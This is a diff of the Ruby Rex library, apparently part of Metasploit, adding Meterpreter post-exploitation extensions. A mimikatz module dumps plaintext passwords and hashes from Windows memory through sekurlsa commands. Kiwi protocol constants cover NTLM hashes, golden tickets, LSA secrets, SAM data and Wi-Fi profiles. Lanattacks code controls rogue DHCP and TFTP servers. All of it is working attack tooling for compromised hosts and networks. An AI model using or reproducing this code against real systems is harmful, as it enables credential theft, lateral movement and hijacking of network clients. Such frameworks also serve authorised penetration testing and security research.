librex 0.0.68 → 0.0.70

data/lib/rex/post/meterpreter/extensions/kiwi/tlv.rb

@@ -0,0 +1,76 @@
+# -*- coding: binary -*-
+module Rex
+module Post
+module Meterpreter
+module Extensions
+module Kiwi
+
+TLV_TYPE_KIWI_PWD_ID               = TLV_META_TYPE_UINT   | (TLV_EXTENSIONS + 1)
+TLV_TYPE_KIWI_PWD_RESULT           = TLV_META_TYPE_GROUP  | (TLV_EXTENSIONS + 2)
+TLV_TYPE_KIWI_PWD_USERNAME         = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 3)
+TLV_TYPE_KIWI_PWD_DOMAIN           = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 4)
+TLV_TYPE_KIWI_PWD_PASSWORD         = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 5)
+TLV_TYPE_KIWI_PWD_AUTH_HI          = TLV_META_TYPE_UINT   | (TLV_EXTENSIONS + 6)
+TLV_TYPE_KIWI_PWD_AUTH_LO          = TLV_META_TYPE_UINT   | (TLV_EXTENSIONS + 7)
+TLV_TYPE_KIWI_PWD_LMHASH           = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 8)
+TLV_TYPE_KIWI_PWD_NTLMHASH         = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9)
+
+TLV_TYPE_KIWI_GOLD_USER            = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 10)
+TLV_TYPE_KIWI_GOLD_DOMAIN          = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 11)
+TLV_TYPE_KIWI_GOLD_SID             = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 12)
+TLV_TYPE_KIWI_GOLD_TGT             = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 13)
+TLV_TYPE_KIWI_GOLD_USERID          = TLV_META_TYPE_UINT   | (TLV_EXTENSIONS + 14)
+TLV_TYPE_KIWI_GOLD_GROUPID         = TLV_META_TYPE_UINT   | (TLV_EXTENSIONS + 15)
+
+TLV_TYPE_KIWI_LSA_VER_MAJ          = TLV_META_TYPE_UINT   | (TLV_EXTENSIONS + 20)
+TLV_TYPE_KIWI_LSA_VER_MIN          = TLV_META_TYPE_UINT   | (TLV_EXTENSIONS + 21)
+TLV_TYPE_KIWI_LSA_COMPNAME         = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 22)
+TLV_TYPE_KIWI_LSA_SYSKEY           = TLV_META_TYPE_RAW    | (TLV_EXTENSIONS + 23)
+TLV_TYPE_KIWI_LSA_KEYCOUNT         = TLV_META_TYPE_UINT   | (TLV_EXTENSIONS + 24)
+TLV_TYPE_KIWI_LSA_KEYID            = TLV_META_TYPE_RAW    | (TLV_EXTENSIONS + 25)
+TLV_TYPE_KIWI_LSA_KEYIDX           = TLV_META_TYPE_UINT   | (TLV_EXTENSIONS + 26)
+TLV_TYPE_KIWI_LSA_KEYVALUE         = TLV_META_TYPE_RAW    | (TLV_EXTENSIONS + 27)
+TLV_TYPE_KIWI_LSA_NT6KEY           = TLV_META_TYPE_GROUP  | (TLV_EXTENSIONS + 28)
+TLV_TYPE_KIWI_LSA_NT5KEY           = TLV_META_TYPE_RAW    | (TLV_EXTENSIONS + 29)
+
+TLV_TYPE_KIWI_LSA_SECRET           = TLV_META_TYPE_GROUP  | (TLV_EXTENSIONS + 35)
+TLV_TYPE_KIWI_LSA_SECRET_NAME      = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 36)
+TLV_TYPE_KIWI_LSA_SECRET_SERV      = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 37)
+TLV_TYPE_KIWI_LSA_SECRET_NTLM      = TLV_META_TYPE_RAW    | (TLV_EXTENSIONS + 38)
+TLV_TYPE_KIWI_LSA_SECRET_CURR      = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 39)
+TLV_TYPE_KIWI_LSA_SECRET_CURR_RAW  = TLV_META_TYPE_RAW    | (TLV_EXTENSIONS + 40)
+TLV_TYPE_KIWI_LSA_SECRET_OLD       = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 41)
+TLV_TYPE_KIWI_LSA_SECRET_OLD_RAW   = TLV_META_TYPE_RAW    | (TLV_EXTENSIONS + 42)
+
+TLV_TYPE_KIWI_LSA_SAM              = TLV_META_TYPE_GROUP  | (TLV_EXTENSIONS + 50)
+TLV_TYPE_KIWI_LSA_SAM_RID          = TLV_META_TYPE_UINT   | (TLV_EXTENSIONS + 51)
+TLV_TYPE_KIWI_LSA_SAM_USER         = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 52)
+TLV_TYPE_KIWI_LSA_SAM_LMHASH       = TLV_META_TYPE_RAW    | (TLV_EXTENSIONS + 53)
+TLV_TYPE_KIWI_LSA_SAM_NTLMHASH     = TLV_META_TYPE_RAW    | (TLV_EXTENSIONS + 54)
+
+TLV_TYPE_KIWI_KERB_EXPORT          = TLV_META_TYPE_BOOL   | (TLV_EXTENSIONS + 60)
+TLV_TYPE_KIWI_KERB_TKT             = TLV_META_TYPE_GROUP  | (TLV_EXTENSIONS + 61)
+TLV_TYPE_KIWI_KERB_TKT_ENCTYPE     = TLV_META_TYPE_UINT   | (TLV_EXTENSIONS + 62)
+TLV_TYPE_KIWI_KERB_TKT_START       = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 63)
+TLV_TYPE_KIWI_KERB_TKT_END         = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 64)
+TLV_TYPE_KIWI_KERB_TKT_MAXRENEW    = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 65)
+TLV_TYPE_KIWI_KERB_TKT_SERVERNAME  = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 66)
+TLV_TYPE_KIWI_KERB_TKT_SERVERREALM = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 67)
+TLV_TYPE_KIWI_KERB_TKT_CLIENTNAME  = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 68)
+TLV_TYPE_KIWI_KERB_TKT_CLIENTREALM = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 69)
+TLV_TYPE_KIWI_KERB_TKT_FLAGS       = TLV_META_TYPE_UINT   | (TLV_EXTENSIONS + 70)
+TLV_TYPE_KIWI_KERB_TKT_RAW         = TLV_META_TYPE_RAW    | (TLV_EXTENSIONS + 71)
+
+TLV_TYPE_KIWI_WIFI_INT             = TLV_META_TYPE_GROUP  | (TLV_EXTENSIONS + 75)
+TLV_TYPE_KIWI_WIFI_INT_GUID        = TLV_META_TYPE_RAW    | (TLV_EXTENSIONS + 76)
+TLV_TYPE_KIWI_WIFI_INT_STATE       = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 77)
+TLV_TYPE_KIWI_WIFI_INT_DESC        = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 78)
+TLV_TYPE_KIWI_WIFI_PROFILE         = TLV_META_TYPE_GROUP  | (TLV_EXTENSIONS + 79)
+TLV_TYPE_KIWI_WIFI_PROFILE_NAME    = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 80)
+TLV_TYPE_KIWI_WIFI_PROFILE_XML     = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 81)
+
+end
+end
+end
+end
+end

data/lib/rex/post/meterpreter/extensions/lanattacks/dhcp/dhcp.rb

@@ -0,0 +1,78 @@
+# -*- coding: binary -*-
+
+require 'rex/post/meterpreter/extensions/lanattacks/tlv'
+
+module Rex
+module Post
+module Meterpreter
+module Extensions
+module Lanattacks
+module Dhcp
+
+###
+#
+# DHCP Server functionality
+#
+###
+class Dhcp
+
+  def initialize(client)
+    @client = client
+  end
+
+  def start
+    client.send_request(Packet.create_request('lanattacks_start_dhcp'))
+    true
+  end
+
+  def reset
+    client.send_request(Packet.create_request('lanattacks_reset_dhcp'))
+    true
+  end
+
+  def set_option(name, value)
+    request = Packet.create_request('lanattacks_set_dhcp_option')
+    request.add_tlv(TLV_TYPE_LANATTACKS_OPTION_NAME, name)
+    request.add_tlv(TLV_TYPE_LANATTACKS_OPTION, value)
+    client.send_request(request)
+    true
+  end
+
+  def load_options(datastore)
+    # TODO: change this so that all of the options are set in a single
+    # payload rather than firing off lots of calls separately
+    datastore.each do |name, value|
+      if Regexp.new('DHCPIPSTART|DHCPIPEND|NETMASK|ROUTER|DNSSERVER|BROADCAST|'+
+          'SERVEONCE|PXE|HOSTNAME|HOSTSTART|FILENAME|PXECONF|SRVHOST') =~ name
+        set_option(name, value)
+      end
+    end
+  end
+
+  def stop
+    client.send_request(Packet.create_request('lanattacks_stop_dhcp'))
+    true
+  end
+
+  def log
+    response = client.send_request(Packet.create_request('lanattacks_dhcp_log'))
+    entries = []
+    if( response.result == 0 )
+      log = response.get_tlv_value( TLV_TYPE_LANATTACKS_RAW )
+      while log.length > 0
+        mac = log.slice!(0..5)
+        ip = log.slice!(0..3)
+        entries << {
+         :mac => mac,
+         :ip  => ip
+        }
+      end
+    end
+    entries
+  end
+
+  attr_accessor :client
+
+end
+
+end; end; end; end; end; end

data/lib/rex/post/meterpreter/extensions/lanattacks/lanattacks.rb

@@ -1,7 +1,8 @@
-#!/usr/bin/env ruby
 # -*- coding: binary -*-
 
 require 'rex/post/meterpreter/extensions/lanattacks/tlv'
+require 'rex/post/meterpreter/extensions/lanattacks/dhcp/dhcp'
+require 'rex/post/meterpreter/extensions/lanattacks/tftp/tftp'
 
 module Rex
 module Post
@@ -16,84 +17,27 @@ module Lanattacks
 ###
 class Lanattacks < Extension
 
-	def initialize(client)
-		super(client, 'lanattacks')
+  #
+  # Initializes an instance of the lanattacks extension.
+  #
+  def initialize(client)
+    super(client, 'lanattacks')
+
+    # Alias the following things on the client object so that they
+    # can be directly referenced
+    client.register_extension_aliases(
+      [
+        {
+          'name' => 'lanattacks',
+          'ext'  => ObjectAliases.new(
+            {
+              'dhcp' => Rex::Post::Meterpreter::Extensions::Lanattacks::Dhcp::Dhcp.new(client),
+              'tftp' => Rex::Post::Meterpreter::Extensions::Lanattacks::Tftp::Tftp.new(client)
+            }),
+        }
+      ])
+  end
 
-		client.register_extension_aliases(
-			[{
-					'name' => 'lanattacks',
-					'ext'  => self
-			 },])
-	end
-
-	def start_dhcp
-		client.send_request(Packet.create_request('lanattacks_start_dhcp'))
-		true
-	end
-
-	def reset_dhcp
-		client.send_request(Packet.create_request('lanattacks_reset_dhcp'))
-		true
-	end
-
-	def set_dhcp_option(name, value)
-		request = Packet.create_request('lanattacks_set_dhcp_option')
-		request.add_tlv(TLV_TYPE_LANATTACKS_OPTION_NAME, name)
-		request.add_tlv(TLV_TYPE_LANATTACKS_OPTION, value)
-		client.send_request(request)
-		true
-	end
-
-	def load_dhcp_options(datastore)
-		datastore.each do |name, value|
-			if Regexp.new('DHCPIPSTART|DHCPIPEND|NETMASK|ROUTER|DNSSERVER|BROADCAST|'+
-					'SERVEONCE|PXE|HOSTNAME|HOSTSTART|FILENAME|PXECONF|SRVHOST') =~ name
-				set_dhcp_option(name,value)
-			end
-		end
-	end
-
-	def stop_dhcp
-		client.send_request(Packet.create_request('lanattacks_stop_dhcp'))
-		true
-	end
-
-	def dhcp_log
-		response = client.send_request(Packet.create_request('lanattacks_dhcp_log'))
-		entries = []
-		if( response.result == 0 )
-			log = response.get_tlv_value( TLV_TYPE_LANATTACKS_RAW )
-			while log.length > 0
-				mac = log.slice!(0..5)
-				ip = log.slice!(0..3)
-				entries << [ mac, ip ]
-			end
-		end
-		entries
-	end
-
-	def start_tftp
-		client.send_request(Packet.create_request('lanattacks_start_tftp'))
-		true
-	end
-
-	def reset_tftp
-		client.send_request(Packet.create_request('lanattacks_reset_tftp'))
-		true
-	end
-
-	def add_tftp_file(filename, data)
-		request = Packet.create_request('lanattacks_add_tftp_file')
-		request.add_tlv(TLV_TYPE_LANATTACKS_OPTION_NAME, filename)
-		request.add_tlv(TLV_TYPE_LANATTACKS_RAW, data, false, true) #compress it
-		client.send_request(request)
-		true
-	end
-
-	def stop_tftp
-		client.send_request(Packet.create_request('lanattacks_stop_tftp'))
-		true
-	end
 end
 
 end; end; end; end; end

data/lib/rex/post/meterpreter/extensions/lanattacks/tftp/tftp.rb

@@ -0,0 +1,49 @@
+# -*- coding: binary -*-
+
+require 'rex/post/meterpreter/extensions/lanattacks/tlv'
+
+module Rex
+module Post
+module Meterpreter
+module Extensions
+module Lanattacks
+module Tftp
+
+###
+#
+# TFTP Server functionality
+#
+###
+class Tftp
+
+  def initialize(client)
+    @client = client
+  end
+
+  def start
+    client.send_request(Packet.create_request('lanattacks_start_tftp'))
+    true
+  end
+
+  def reset
+    client.send_request(Packet.create_request('lanattacks_reset_tftp'))
+    true
+  end
+
+  def add_file(filename, data)
+    request = Packet.create_request('lanattacks_add_tftp_file')
+    request.add_tlv(TLV_TYPE_LANATTACKS_OPTION_NAME, filename)
+    request.add_tlv(TLV_TYPE_LANATTACKS_RAW, data, false, true) #compress it
+    client.send_request(request)
+    true
+  end
+
+  def stop
+    client.send_request(Packet.create_request('lanattacks_stop_tftp'))
+    true
+  end
+
+  attr_accessor :client
+end
+
+end; end; end; end; end; end

data/lib/rex/post/meterpreter/extensions/lanattacks/tlv.rb

@@ -5,10 +5,10 @@ module Meterpreter
 module Extensions
 module Lanattacks
 
-TLV_TYPE_LANATTACKS_OPTION = TLV_META_TYPE_RAW| (TLV_EXTENSIONS + 1)
-TLV_TYPE_LANATTACKS_OPTION_NAME = TLV_META_TYPE_STRING| (TLV_EXTENSIONS + 2)
-TLV_TYPE_LANATTACKS_UINT = TLV_META_TYPE_UINT| (TLV_EXTENSIONS + 3)
-TLV_TYPE_LANATTACKS_RAW = TLV_META_TYPE_RAW| (TLV_EXTENSIONS + 4)
+TLV_TYPE_LANATTACKS_OPTION      = TLV_META_TYPE_RAW    | (TLV_EXTENSIONS + 1)
+TLV_TYPE_LANATTACKS_OPTION_NAME = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 2)
+TLV_TYPE_LANATTACKS_UINT        = TLV_META_TYPE_UINT   | (TLV_EXTENSIONS + 3)
+TLV_TYPE_LANATTACKS_RAW         = TLV_META_TYPE_RAW    | (TLV_EXTENSIONS + 4)
 
 end
 end

data/lib/rex/post/meterpreter/extensions/mimikatz/mimikatz.rb

@@ -0,0 +1,128 @@
+# -*- coding: binary -*-
+
+require 'rex/post/meterpreter/extensions/mimikatz/tlv'
+require 'csv'
+
+module Rex
+module Post
+module Meterpreter
+module Extensions
+module Mimikatz
+
+###
+#
+# Mimikatz extension - grabs credentials from windows memory.
+#
+# Benjamin DELPY `gentilkiwi`
+# http://blog.gentilkiwi.com/mimikatz
+#
+# extension converted by Ben Campbell (Meatballs)
+###
+
+class Mimikatz < Extension
+
+  def initialize(client)
+    super(client, 'mimikatz')
+
+    client.register_extension_aliases(
+      [
+        {
+          'name' => 'mimikatz',
+          'ext'  => self
+        },
+      ])
+  end
+
+  def send_custom_command_raw(function, args=[])
+    request = Packet.create_request('mimikatz_custom_command')
+    request.add_tlv(TLV_TYPE_MIMIKATZ_FUNCTION, function)
+    args.each do |a|
+      request.add_tlv(TLV_TYPE_MIMIKATZ_ARGUMENT, a)
+    end
+    response = client.send_request(request)
+    return response.get_tlv_value(TLV_TYPE_MIMIKATZ_RESULT)
+  end
+
+  def send_custom_command(function, args=[])
+    return Rex::Text.to_ascii(send_custom_command_raw(function, args))
+  end
+
+  def parse_creds_result(result)
+    details = CSV.parse(result)
+    accounts  =  []
+    details.each do |acc|
+      account = {
+        :authid => acc[0],
+        :package => acc[1],
+        :user => acc[2],
+        :domain => acc[3],
+        :password => acc[4]
+      }
+      accounts << account
+    end
+    return accounts
+  end
+
+  def parse_ssp_result(result)
+    details = CSV.parse(result)
+    accounts = []
+
+    return accounts unless details
+    details.each do |acc|
+      next unless acc.length == 5
+      ssps = acc[4].split(' }')
+      next unless ssps
+      ssps.each do |ssp|
+        next unless ssp
+        s_acc = ssp.split(' ; ')
+        next unless s_acc
+        user = s_acc[0].split('{ ')[1]
+        next unless user
+        account = {
+          :authid => acc[0],
+          :package => acc[1],
+          :user => user,
+          :domain => s_acc[1],
+          :password => s_acc[2],
+          :orig_user => acc[2],
+          :orig_domain => acc[3]
+        }
+        accounts << account
+      end
+    end
+    return accounts
+  end
+
+  def wdigest
+    result = send_custom_command('sekurlsa::wdigest')
+    return parse_creds_result(result)
+  end
+
+  def msv
+    result = send_custom_command('sekurlsa::msv')
+    return parse_creds_result(result)
+  end
+
+  def livessp
+    result = send_custom_command('sekurlsa::livessp')
+    return parse_creds_result(result)
+  end
+
+  def ssp
+    result = send_custom_command('sekurlsa::ssp')
+    return parse_ssp_result(result)
+  end
+
+  def tspkg
+    result = send_custom_command('sekurlsa::tspkg')
+    return parse_creds_result(result)
+  end
+
+  def kerberos
+    result = send_custom_command('sekurlsa::kerberos')
+    return parse_creds_result(result)
+  end
+end
+
+end; end; end; end; end
+